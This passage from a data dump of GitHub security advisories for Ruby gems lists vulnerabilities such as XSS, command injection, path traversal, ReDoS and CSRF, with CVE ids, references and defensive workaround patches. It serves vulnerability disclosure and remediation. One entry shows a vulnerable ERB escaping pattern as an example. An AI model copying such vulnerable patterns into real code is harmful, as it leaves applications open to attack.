{'https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24'} | {'https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24'} |
RubyGems | GHSA-r9c2-cr39-c8g6 | Moderate severity vulnerability that affects rails-html-sanitizer | Cross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an HTML entity that is mishandled by the Rails::Html::FullSanitizer class. | {'CVE-2015-7579'} | 2022-03-03T05:14:07.427612Z | 2017-10-24T18:33:36Z | MODERATE | null | {'CWE-79'} | {'http://www.securitytracker.com/id/1034816', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00053.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/178046.html', 'http://www.openwall.com/lists/oss-security/2016/01/25/12', 'https://nvd.nist.gov/vuln/detail/CVE-2015-7579', 'https://github.com/rails/rails-html-sanitizer', 'https://github.com/advisories/GHSA-r9c2-cr39-c8g6', 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00024.html', 'https://github.com/rails/rails-html-sanitizer/commit/49dfc1584c5b8e35a4ffabf8356ba3df025e8d3f', 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00014.html', 'https://groups.google.com/forum/message/raw?msg=ruby-security-ann/OU9ugTZcbjc/uksRkSxZEgAJ', 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/178064.html'} | null | {'https://github.com/rails/rails-html-sanitizer/commit/49dfc1584c5b8e35a4ffabf8356ba3df025e8d3f'} | {'https://github.com/rails/rails-html-sanitizer/commit/49dfc1584c5b8e35a4ffabf8356ba3df025e8d3f'} |
RubyGems | GHSA-jg4m-q6w8-vrjp | High severity vulnerability that affects rgpg | The self.run_gpg function in lib/rgpg/gpg_helper.rb in the rgpg gem before 0.2.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors. | {'CVE-2013-4203'} | 2022-03-03T05:14:16.169786Z | 2017-10-24T18:33:37Z | HIGH | null | {'CWE-94'} | {'https://github.com/rcook/rgpg', 'https://github.com/advisories/GHSA-jg4m-q6w8-vrjp', 'https://github.com/rcook/rgpg/commit/b819b13d198495f3ecd2762a0dbe27bb6fae3505', 'https://nvd.nist.gov/vuln/detail/CVE-2013-4203', 'http://www.openwall.com/lists/oss-security/2013/08/03/2'} | null | {'https://github.com/rcook/rgpg/commit/b819b13d198495f3ecd2762a0dbe27bb6fae3505'} | {'https://github.com/rcook/rgpg/commit/b819b13d198495f3ecd2762a0dbe27bb6fae3505'} |
RubyGems | GHSA-h5g2-38x9-4gv3 | High severity vulnerability that affects archive-tar-minitar and minitar | Directory traversal vulnerability in the minitar before 0.6 and archive-tar-minitar 0.5.2 gems for Ruby allows remote attackers to write to arbitrary files via a .. (dot dot) in a TAR archive entry. | {'CVE-2016-10173'} | 2022-03-03T05:13:07.674662Z | 2017-10-24T18:33:35Z | HIGH | null | {'CWE-22'} | {'https://security.gentoo.org/glsa/201702-32', 'https://github.com/advisories/GHSA-h5g2-38x9-4gv3', 'https://github.com/halostatue/minitar', 'https://github.com/halostatue/minitar/commit/e25205ecbb6277ae8a3df1e6a306d7ed4458b6e4', 'https://puppet.com/security/cve/cve-2016-10173', 'http://www.securityfocus.com/bid/95874', 'https://github.com/halostatue/minitar/issues/16', 'http://www.openwall.com/lists/oss-security/2017/01/24/7', 'http://www.debian.org/security/2017/dsa-3778', 'http://www.openwall.com/lists/oss-security/2017/01/29/1', 'https://nvd.nist.gov/vuln/detail/CVE-2016-10173'} | null | {'https://github.com/halostatue/minitar/commit/e25205ecbb6277ae8a3df1e6a306d7ed4458b6e4'} | {'https://github.com/halostatue/minitar/commit/e25205ecbb6277ae8a3df1e6a306d7ed4458b6e4'} |
RubyGems | GHSA-v222-6mr4-qj29 | Command Injection vulnerability in asciidoctor-include-ext | ### Impact
Applications using [Asciidoctor (Ruby)](https://github.com/asciidoctor/asciidoctor) with [asciidoctor-include-ext](https://github.com/jirutka/asciidoctor-include-ext) (prior to version 0.4.0), which render user-supplied input in AsciiDoc markup, may allow an attacker to execute arbitrary system commands on the host operating system. ~~This attack is possible even when `allow-uri-read` is disabled!~~ (EDIT: it’s not)
### Patches
The vulnerability has been fixed in commit c7ea001 (and further improved in cbaccf3), which is included in version [0.4.0](https://rubygems.org/gems/asciidoctor-include-ext/versions/0.4.0).
### Workarounds
```rb
require 'asciidoctor/include_ext'
class Asciidoctor::IncludeExt::IncludeProcessor
# Overrides superclass private method to mitigate Command Injection
# vulnerability in asciidoctor-include-ext <0.4.0.
def target_uri?(target)
target.downcase.start_with?('http://', 'https://') \
&& URI.parse(target).is_a?(URI::HTTP)
rescue URI::InvalidURIError
false
end
end
```
### References
* https://sakurity.com/blog/2015/02/28/openuri.html
### Credits
This vulnerability was discovered by Joern Schneeweisz from the GitLab Security Research Team.
### For more information
See commit message c7ea001.
If you have any questions or comments about this advisory open an issue in [jirutka/asciidoctor-include-ext](https://github.com/jirutka/asciidoctor-include-ext/issues/). | {'CVE-2022-24803'} | 2022-04-18T22:32:08.086487Z | 2022-03-31T23:27:15Z | CRITICAL | null | {'CWE-78'} | {'https://github.com/jirutka/asciidoctor-include-ext/security/advisories/GHSA-v222-6mr4-qj29', 'https://github.com/jirutka/asciidoctor-include-ext/commit/cbaccf3de533cbca224bf61d0b74e4b84d41d8ee', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24803', 'https://github.com/jirutka/asciidoctor-include-ext/commit/c7ea001a597c7033575342c51483dab7b87ae155', 'https://github.com/jirutka/asciidoctor-include-ext'} | null | {'https://github.com/jirutka/asciidoctor-include-ext/commit/cbaccf3de533cbca224bf61d0b74e4b84d41d8ee', 'https://github.com/jirutka/asciidoctor-include-ext/commit/c7ea001a597c7033575342c51483dab7b87ae155'} | {'https://github.com/jirutka/asciidoctor-include-ext/commit/c7ea001a597c7033575342c51483dab7b87ae155', 'https://github.com/jirutka/asciidoctor-include-ext/commit/cbaccf3de533cbca224bf61d0b74e4b84d41d8ee'} |
RubyGems | GHSA-vvff-6wrr-4g7q | Missing Authentication for Critical Function in Foreman Ansible | An authorization flaw was found in Foreman Ansible. An authenticated attacker with certain permissions to create and run Ansible jobs can access hosts through job templates. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. | {'CVE-2021-3589'} | 2022-04-05T19:31:57.898132Z | 2022-03-24T00:00:17Z | CRITICAL | null | {'CWE-306'} | {'https://github.com/theforeman/foreman_ansible', 'https://github.com/theforeman/foreman_ansible/commit/a5e0827bc3ec6c8ab82f968907857a15646305d5', 'https://bugzilla.redhat.com/show_bug.cgi?id=1969265', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3589', 'https://access.redhat.com/security/cve/CVE-2021-3589'} | null | {'https://github.com/theforeman/foreman_ansible/commit/a5e0827bc3ec6c8ab82f968907857a15646305d5'} | {'https://github.com/theforeman/foreman_ansible/commit/a5e0827bc3ec6c8ab82f968907857a15646305d5'} |
RubyGems | GHSA-85rf-xh54-whp3 | Malicious URL drafting attack against iodines static file server may allow path traversal | ### Impact
A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.
Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.
### Patches
The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.
### Workarounds
A possible workaround would be to disable the static file service and it's `X-Sendfile` support, sending static files using nginx or a source code solution (sending the data dynamically).
However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.
### For more information
If you have any questions or comments about this advisory:
* Email [Boaz Segev](https://github.com/boazsegev) | null | 2022-03-03T05:13:29.632570Z | 2019-10-07T16:52:13Z | LOW | null | {'CWE-22'} | {'https://github.com/boazsegev/iodine/commit/5558233fb7defda706b4f9c87c17759705949889', 'https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3', 'https://github.com/boazsegev/iodine'} | null | {'https://github.com/boazsegev/iodine/commit/5558233fb7defda706b4f9c87c17759705949889'} | {'https://github.com/boazsegev/iodine/commit/5558233fb7defda706b4f9c87c17759705949889'} |
RubyGems | GHSA-65cv-r6x7-79hv | Possible XSS vulnerability in ActionView | There is a possible XSS vulnerability in ActionView's JavaScript literal escape helpers. Views that use the `j` or `escape_javascript` methods may be susceptible to XSS attacks.
### Impact
There is a possible XSS vulnerability in the `j` and `escape_javascript` methods in ActionView. These methods are used for escaping JavaScript string literals. Impacted code will look something like this:
```erb
<script>let a = `<%= j unknown_input %>`</script>
```
or
```erb
<script>let a = `<%= escape_javascript unknown_input %>`</script>
```
### Releases
The 6.0.2.2 and 5.2.4.2 releases are available at the normal locations.
### Workarounds
For those that can't upgrade, the following monkey patch may be used:
```ruby
ActionView::Helpers::JavaScriptHelper::JS_ESCAPE_MAP.merge!(
{
"`" => "\\`",
"$" => "\\$"
}
)
module ActionView::Helpers::JavaScriptHelper
alias :old_ej :escape_javascript
alias :old_j :j
def escape_javascript(javascript)
javascript = javascript.to_s
if javascript.empty?
result = ""
else
result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"']|[`]|[$])/u, JS_ESCAPE_MAP)
end
javascript.html_safe? ? result.html_safe : result
end
alias :j :escape_javascript
end
```
### Patches
To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.
* [5-2-js-helper-xss.patch](https://gist.github.com/tenderlove/c042ff49f0347c37e99183a6502accc6#file-5-2-js-helper-xss-patch) - Patch for 5.2 series
* [6-0-js-helper-xss.patch](https://gist.github.com/tenderlove/c042ff49f0347c37e99183a6502accc6#file-6-0-js-helper-xss-patch) - Patch for 6.0 series
Please note that only the 5.2 and 6.0 series are supported at present. Users
of earlier unsupported releases are advised to upgrade as soon as possible as we
cannot guarantee the continued availability of security fixes for unsupported
releases.
### Credits
Thanks to Jesse Campos from Chef Secure | {'CVE-2020-5267'} | 2022-03-03T05:13:34.293247Z | 2020-03-19T17:30:29Z | MODERATE | null | {'CWE-80'} | {'https://github.com/rails/rails/security/advisories/GHSA-65cv-r6x7-79hv', 'https://github.com/rails/rails/commit/033a738817abd6e446e1b320cb7d1a5c15224e9a', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5267', 'http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00019.html', 'http://www.openwall.com/lists/oss-security/2020/03/19/1', 'https://groups.google.com/forum/#!topic/rubyonrails-security/55reWMM_Pg8', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/CVE-2020-5267.yml', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJ7NUWXAEVRQCROIIBV4C6WXO6IR3KSB/', 'https://lists.debian.org/debian-lts-announce/2020/03/msg00022.html'} | null | {'https://github.com/rails/rails/commit/033a738817abd6e446e1b320cb7d1a5c15224e9a'} | {'https://github.com/rails/rails/commit/033a738817abd6e446e1b320cb7d1a5c15224e9a'} |
RubyGems | GHSA-v2r9-c84j-v7xm | Moderate severity vulnerability that affects rdoc | darkfish.js in RDoc 2.3.0 through 3.12 and 4.x before 4.0.0.preview2.1, as used in Ruby, does not properly generate documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted URL. | {'CVE-2013-0256'} | 2022-03-03T05:11:50.274049Z | 2017-10-24T18:33:37Z | MODERATE | null | {'CWE-79'} | {'http://blog.segment7.net/2013/02/06/rdoc-xss-vulnerability-cve-2013-0256-releases-3-9-5-3-12-1-4-0-0-rc-2', 'http://rhn.redhat.com/errata/RHSA-2013-0686.html', 'http://rhn.redhat.com/errata/RHSA-2013-0701.html', 'http://lists.opensuse.org/opensuse-updates/2013-02/msg00048.html', 'https://nvd.nist.gov/vuln/detail/CVE-2013-0256', 'http://secunia.com/advisories/52774', 'https://bugzilla.redhat.com/show_bug.cgi?id=907820', 'http://rhn.redhat.com/errata/RHSA-2013-0548.html', 'http://www.ubuntu.com/usn/USN-1733-1', 'http://rhn.redhat.com/errata/RHSA-2013-0728.html', 'http://lists.opensuse.org/opensuse-security-announce/2013-04/msg00015.html', 'https://github.com/rdoc/rdoc/commit/ffa87887ee0517793df7541629a470e331f9fe60', 'https://github.com/rdoc/rdoc', 'https://github.com/advisories/GHSA-v2r9-c84j-v7xm', 'http://www.ruby-lang.org/en/news/2013/02/06/rdoc-xss-cve-2013-0256/'} | null | {'https://github.com/rdoc/rdoc/commit/ffa87887ee0517793df7541629a470e331f9fe60'} | {'https://github.com/rdoc/rdoc/commit/ffa87887ee0517793df7541629a470e331f9fe60'} |
RubyGems | GHSA-c5r5-7pfh-6qg6 | OS command injection in BibTeX-Ruby | BibTeX-ruby before 5.1.0 allows shell command injection due to unsanitized user input being passed directly to the built-in Ruby Kernel.open method through BibTeX.open. | {'CVE-2019-10780'} | 2022-03-03T05:13:15.649341Z | 2020-02-14T23:10:01Z | CRITICAL | null | {'CWE-78'} | {'https://snyk.io/vuln/SNYK-RUBY-BIBTEXRUBY-542602', 'https://github.com/inukshuk/bibtex-ruby/commit/14406f4460f4e1ecabd25ca94f809b3ea7c5fb11', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10780'} | null | {'https://github.com/inukshuk/bibtex-ruby/commit/14406f4460f4e1ecabd25ca94f809b3ea7c5fb11'} | {'https://github.com/inukshuk/bibtex-ruby/commit/14406f4460f4e1ecabd25ca94f809b3ea7c5fb11'} |
RubyGems | GHSA-qg54-694p-wgpp | Regular expression denial of service vulnerability (ReDoS) in date | Date’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected.
The fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse.
Please update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem "date", ">= 3.2.1" to your Gemfile. If you import `date` from the standard library rather than as a gem you should update your Ruby install to `3.0.3`, `2.7.5`, `2.6.9` or later.
Users unable to upgrade may consider using `Date.strptime` instead with a predefined date format
```ruby
Date.strptime('2001-02-20', '%Y-%m-%d')
``` | {'CVE-2021-41817'} | 2022-03-17T23:15:06.275918Z | 2021-11-16T00:32:30Z | MODERATE | null | {'CWE-1333'} | {'https://github.com/ruby/date/commit/3959accef8da5c128f8a8e2fd54e932a4fb253b0', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41817', 'https://hackerone.com/reports/1254844', 'https://www.ruby-lang.org/en/news/2021/11/15/date-parsing-method-regexp-dos-cve-2021-41817/'} | null | {'https://github.com/ruby/date/commit/3959accef8da5c128f8a8e2fd54e932a4fb253b0'} | {'https://github.com/ruby/date/commit/3959accef8da5c128f8a8e2fd54e932a4fb253b0'} |
RubyGems | GHSA-xm34-v85h-9pg2 | Authentication Bypass by CSRF Weakness | ### Impact
CSRF vulnerability that allows user account takeover.
All applications using any version of the frontend component of `solidus_auth_devise` are affected if `protect_from_forgery` method is both:
- Executed whether as:
- A `before_action` callback (the default)
- A `prepend_before_action` (option `prepend: true` given) before the `:load_object` hook in `Spree::UserController` (most likely order to find).
- Configured to use `:null_session` or `:reset_session` strategies (`:null_session` is the default in case the no strategy is given, but `rails --new` generated skeleton use `:exception`).
That means that applications that haven't been configured differently from what it's generated with Rails aren't affected.
### Patches
Users should promptly update to `solidus_auth_devise` version `2.5.4`.
### Workarounds
A couple of options:
- If possible, change your strategy to `:exception`:
```ruby
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
end
```
- Add the following to `config/application.rb` to at least run the `:exception` strategy on the affected controller:
```ruby
config.after_initialize do
Spree::UsersController.protect_from_forgery with: :exception
end
```
- We've also released new Solidus versions monkey patching `solidus_auth_devise` with the quick fix. Those versions are `v3.1.3`, `v.3.0.3` & `v2.11.12`. See [GHSA-5629-8855-gf4g](https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g) for details.
### References
- [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)
- [Solidus security](https://solidus.io/security/)
### Thanks
We'd like to thank [vampire000](https://hackerone.com/vampire000) for reporting this issue.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)
* Email us at [security@solidus.io](mailto:security@soliidus.io)
* Contact the core team on [Slack](http://slack.solidus.io/)
| {'CVE-2021-41274'} | 2022-03-03T05:13:04.888419Z | 2021-11-18T20:09:32Z | CRITICAL | null | {'CWE-352'} | {'https://github.com/solidusio/solidus_auth_devise/releases/tag/v2.5.4', 'https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2', 'https://github.com/solidusio/solidus_auth_devise', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41274', 'https://github.com/solidusio/solidus_auth_devise/commit/731a6645e90ea9fd228f78ec53c6976c048a0555'} | null | {'https://github.com/solidusio/solidus_auth_devise/commit/731a6645e90ea9fd228f78ec53c6976c048a0555'} | {'https://github.com/solidusio/solidus_auth_devise/commit/731a6645e90ea9fd228f78ec53c6976c048a0555'} |
RubyGems | GHSA-6c8p-qphv-668v | Moderate severity vulnerability that affects ruby-openid | The ruby-openid gem before 2.2.2 for Ruby allows remote OpenID providers to cause a denial of service (CPU consumption) via (1) a large XRDS document or (2) an XML Entity Expansion (XEE) attack. | {'CVE-2013-1812'} | 2022-03-03T05:13:34.437438Z | 2017-10-24T18:33:37Z | MODERATE | null | null | {'https://github.com/openid/ruby-openid/pull/43', 'https://nvd.nist.gov/vuln/detail/CVE-2013-1812', 'https://github.com/advisories/GHSA-6c8p-qphv-668v', 'https://github.com/openid/ruby-openid/commit/a3693cef06049563f5b4e4824f4d3211288508ed', 'https://bugzilla.redhat.com/show_bug.cgi?id=918134', 'https://github.com/openid/ruby-openid', 'https://github.com/openid/ruby-openid/blob/master/CHANGELOG.md', 'http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120204.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120361.html', 'http://www.openwall.com/lists/oss-security/2013/03/03/8'} | null | {'https://github.com/openid/ruby-openid/commit/a3693cef06049563f5b4e4824f4d3211288508ed'} | {'https://github.com/openid/ruby-openid/commit/a3693cef06049563f5b4e4824f4d3211288508ed'} |
RubyGems | GHSA-8cr8-4vfw-mr7h | Round-trip instability in REXML | The REXML gem before 3.2.5 in Ruby before 2.6.7, 2.7.x before 2.7.3, and 3.x before 3.0.1 does not properly address XML round-trip issues. An incorrect document can be produced after parsing and serializing. | {'CVE-2021-28965'} | 2022-03-03T05:12:51.494816Z | 2021-04-30T17:30:37Z | HIGH | null | {'CWE-115', 'CWE-611'} | {'https://security.netapp.com/advisory/ntap-20210528-0003/', 'https://www.ruby-lang.org/en/news/2021/04/05/xml-round-trip-vulnerability-in-rexml-cve-2021-28965/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WTVFTLFVCSUE5CXHINJEUCKSHU4SWDMT/', 'https://github.com/ruby/rexml/commit/f9d88e4948b4a43294c25dc0edb16815bd9d8618', 'https://github.com/ruby/rexml/commit/2fe62e29094d95921d7e19abbd2e26b23d78dc5b', 'https://github.com/ruby/rexml/commit/3c137eb119550874b2b3e27d12b733ca67033377', 'https://github.com/ruby/rexml/commit/a659c63e37414506dfb0d4655e031bb7a2e73fc8', 'https://hackerone.com/reports/1104077', 'https://rubygems.org/gems/rexml', 'https://github.com/ruby/rexml/commit/f7bab8937513b1403cea5aff874cbf32fd5e8551', 'https://github.com/ruby/rexml/commit/6a250d2cd1194c2be72becbdd9c3e770aa16e752', 'https://github.com/ruby/rexml/commit/9b311e59ae05749e082eb6bbefa1cb620d1a786e', 'https://nvd.nist.gov/vuln/detail/CVE-2021-28965'} | null | {'https://github.com/ruby/rexml/commit/f9d88e4948b4a43294c25dc0edb16815bd9d8618', 'https://github.com/ruby/rexml/commit/3c137eb119550874b2b3e27d12b733ca67033377', 'https://github.com/ruby/rexml/commit/2fe62e29094d95921d7e19abbd2e26b23d78dc5b', 'https://github.com/ruby/rexml/commit/6a250d2cd1194c2be72becbdd9c3e770aa16e752', 'https://github.com/ruby/rexml/commit/f7bab8937513b1403cea5aff874cbf32fd5e8551', 'https://github.com/ruby/rexml/commit/a659c63e37414506dfb0d4655e031bb7a2e73fc8', 'https://github.com/ruby/rexml/commit/9b311e59ae05749e082eb6bbefa1cb620d1a786e'} | {'https://github.com/ruby/rexml/commit/6a250d2cd1194c2be72becbdd9c3e770aa16e752', 'https://github.com/ruby/rexml/commit/2fe62e29094d95921d7e19abbd2e26b23d78dc5b', 'https://github.com/ruby/rexml/commit/f9d88e4948b4a43294c25dc0edb16815bd9d8618', 'https://github.com/ruby/rexml/commit/a659c63e37414506dfb0d4655e031bb7a2e73fc8', 'https://github.com/ruby/rexml/commit/9b311e59ae05749e082eb6bbefa1cb620d1a786e', 'https://github.com/ruby/rexml/commit/3c137eb119550874b2b3e27d12b733ca67033377', 'https://github.com/ruby/rexml/commit/f7bab8937513b1403cea5aff874cbf32fd5e8551'} |
RubyGems | GHSA-5jjv-x4fq-qjwp | Possible timing attack in derivation_endpoint | ### Impact
When using the `derivation_endpoint` plugin, it's possible for the attacker to use a timing attack to guess the signature of the derivation URL.
### Patches
The problem has been fixed by comparing sent and calculated signature in constant time, using `Rack::Utils.secure_compare`. Users using the `derivation_endpoint` plugin are urged to upgrade to Shrine 3.3.0 or greater.
### Workarounds
Users of older Shrine versions can apply the following monkey-patch after loading the `derivation_endpoint` plugin:
```rb
class Shrine
class UrlSigner
def verify_signature(string, signature)
if signature.nil?
fail InvalidSignature, "missing \"signature\" param"
elsif !Rack::Utils.secure_compare(signature, generate_signature(string))
fail InvalidSignature, "provided signature does not match the calculated signature"
end
end
end
end
```
### References
You can read more about timing attacks [here](https://en.wikipedia.org/wiki/Timing_attack). | {'CVE-2020-15237'} | 2022-03-03T05:12:51.614261Z | 2020-10-05T15:48:34Z | MODERATE | null | {'CWE-208', 'CWE-203'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-15237', 'https://github.com/shrinerb/shrine/security/advisories/GHSA-5jjv-x4fq-qjwp', 'https://github.com/shrinerb/shrine/commit/1b27090ce31543bf39f186c20ea47c8250fca2f0'} | null | {'https://github.com/shrinerb/shrine/commit/1b27090ce31543bf39f186c20ea47c8250fca2f0'} | {'https://github.com/shrinerb/shrine/commit/1b27090ce31543bf39f186c20ea47c8250fca2f0'} |
RubyGems | GHSA-72rj-36qc-47g7 | Information Disclosure | pgsync before 0.6.7 is affected by Information Disclosure of sensitive information. Syncing the schema with the --schema-first and --schema-only options is mishandled. For example, the sslmode connection parameter may be lost, which means that SSL would not be used. | {'CVE-2021-31671'} | 2022-03-03T05:13:35.722980Z | 2021-04-27T15:54:52Z | HIGH | null | {'CWE-319'} | {'https://rubygems.org/gems/pgsync', 'https://github.com/ankane/pgsync/blob/master/CHANGELOG.md#067-2021-04-26', 'https://github.com/ankane/pgsync/commit/05cd18f5fc09407e4b544f2c12f819cabc50c40e', 'https://nvd.nist.gov/vuln/detail/CVE-2021-31671', 'https://github.com/ankane/pgsync/issues/121'} | null | {'https://github.com/ankane/pgsync/commit/05cd18f5fc09407e4b544f2c12f819cabc50c40e'} | {'https://github.com/ankane/pgsync/commit/05cd18f5fc09407e4b544f2c12f819cabc50c40e'} |
RubyGems | GHSA-33vf-4xgg-9r58 | HTTP Response Splitting (Early Hints) in Puma | ### Impact
If an application using Puma allows untrusted input in an early-hints header, an attacker can use a carriage return character to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as [HTTP Response Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)
While not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS).
This is related to [CVE-2020-5247](https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v), which fixed this vulnerability but only for regular responses.
### Patches
This has been fixed in 4.3.3 and 3.12.4.
### Workarounds
Users can not allow untrusted/user input in the Early Hints response header.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [puma](https://github.com/puma/puma)
* Email us a project maintainer. [Email addresses are listed in our Code of Conduct](https://github.com/puma/puma/blob/master/CODE_OF_CONDUCT.md#enforcement). | {'CVE-2020-5249'} | 2022-03-03T05:13:14.257648Z | 2020-03-03T23:33:16Z | MODERATE | null | {'CWE-113'} | {'https://github.com/puma/puma/commit/c22712fc93284a45a93f9ad7023888f3a65524f3', 'https://owasp.org/www-community/attacks/HTTP_Response_Splitting', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NJ3LL5F5QADB6LM46GXZETREAKZMQNRD/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BMJ3CGZ3DLBJ5WUUKMI5ZFXFJQMXJZIK/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5249', 'https://github.com/puma/puma/security/advisories/GHSA-33vf-4xgg-9r58', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DIHVO3CQMU7BZC7FCTSRJ33YDNS3GFPK/', 'https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v'} | null | {'https://github.com/puma/puma/commit/c22712fc93284a45a93f9ad7023888f3a65524f3'} | {'https://github.com/puma/puma/commit/c22712fc93284a45a93f9ad7023888f3a65524f3'} |
RubyGems | GHSA-p463-639r-q9g9 | High severity vulnerability that affects dragonfly | The Dragonfly gem 0.7 before 0.8.6 and 0.9.x before 0.9.13 for Ruby, when used with Ruby on Rails, allows remote attackers to execute arbitrary code via a crafted request. | {'CVE-2013-1756'} | 2022-03-03T05:13:57.699140Z | 2017-10-24T18:33:37Z | HIGH | null | {'CWE-94'} | {'http://secunia.com/advisories/52380', 'https://github.com/markevans/dragonfly', 'https://github.com/markevans/dragonfly/commit/a8775aacf9e5c81cf11bec34b7afa7f27ddfe277', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/82476', 'https://nvd.nist.gov/vuln/detail/CVE-2013-1756', 'https://github.com/advisories/GHSA-p463-639r-q9g9', 'http://www.securityfocus.com/bid/58225', 'https://groups.google.com/forum/?fromgroups=#!topic/dragonfly-users/3c3WIU3VQTo'} | null | {'https://github.com/markevans/dragonfly/commit/a8775aacf9e5c81cf11bec34b7afa7f27ddfe277'} | {'https://github.com/markevans/dragonfly/commit/a8775aacf9e5c81cf11bec34b7afa7f27ddfe277'} |
RubyGems | GHSA-grh7-935j-hg6w | Cross-site Scripting in Sidekiq | Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used. | {'CVE-2021-30151'} | 2022-03-11T21:32:03.736743Z | 2021-10-06T17:47:17Z | MODERATE | null | {'CWE-79'} | {'https://github.com/mperham/sidekiq', 'https://nvd.nist.gov/vuln/detail/CVE-2021-30151', 'https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html', 'https://github.com/mperham/sidekiq/issues/4852', 'https://github.com/mperham/sidekiq/commit/64f70339d1dcf50a55c00d36bfdb61d97ec63ed8'} | null | {'https://github.com/mperham/sidekiq/commit/64f70339d1dcf50a55c00d36bfdb61d97ec63ed8'} | {'https://github.com/mperham/sidekiq/commit/64f70339d1dcf50a55c00d36bfdb61d97ec63ed8'} |
RubyGems | GHSA-fp4w-jxhp-m23p | Dependency Confusion in Bundler | Bundler 1.16.0 through 2.2.9 and 2.2.11 through 2.2.17 sometimes chooses a dependency source based on the highest gem version number, which means that a rogue gem found at a public source may be chosen, even if the intended choice was a private gem that is a dependency of another private gem that is explicitly depended on by the application. | {'CVE-2020-36327'} | 2022-04-07T16:01:53.914898Z | 2021-05-24T18:12:33Z | HIGH | null | null | {'https://github.com/rubygems/rubygems/blob/master/bundler/CHANGELOG.md#2218-may-25-2021', 'https://github.com/rubygems/rubygems/issues/3982', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bundler/CVE-2020-36327.yml', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-24105', 'https://nvd.nist.gov/vuln/detail/CVE-2020-36327', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MWXHK5UUHVSHF7HTHMX6JY3WXDVNIHSL/', 'https://github.com/rubygems/rubygems/commit/078bf682ac40017b309b5fc69f283ff640e7c129', 'https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html', 'https://mensfeld.pl/2021/02/rubygems-dependency-confusion-attack-side-of-things/', 'https://github.com/rubygems/rubygems/pull/4609', 'https://github.com/rubygems/rubygems', 'https://www.zofrex.com/blog/2021/04/29/bundler-still-vulnerable-dependency-confusion-cve-2020-36327/'} | null | {'https://github.com/rubygems/rubygems/commit/078bf682ac40017b309b5fc69f283ff640e7c129'} | {'https://github.com/rubygems/rubygems/commit/078bf682ac40017b309b5fc69f283ff640e7c129'} |
RubyGems | GHSA-gx8x-g87m-h5q6 | Denial of Service (DoS) in Nokogiri on JRuby | ## Summary
Nokogiri `v1.13.4` updates the vendored `org.cyberneko.html` library to `1.9.22.noko2` which addresses [CVE-2022-24839](https://github.com/sparklemotion/nekohtml/security/advisories/GHSA-9849-p7jc-9rmv). That CVE is rated 7.5 (High Severity).
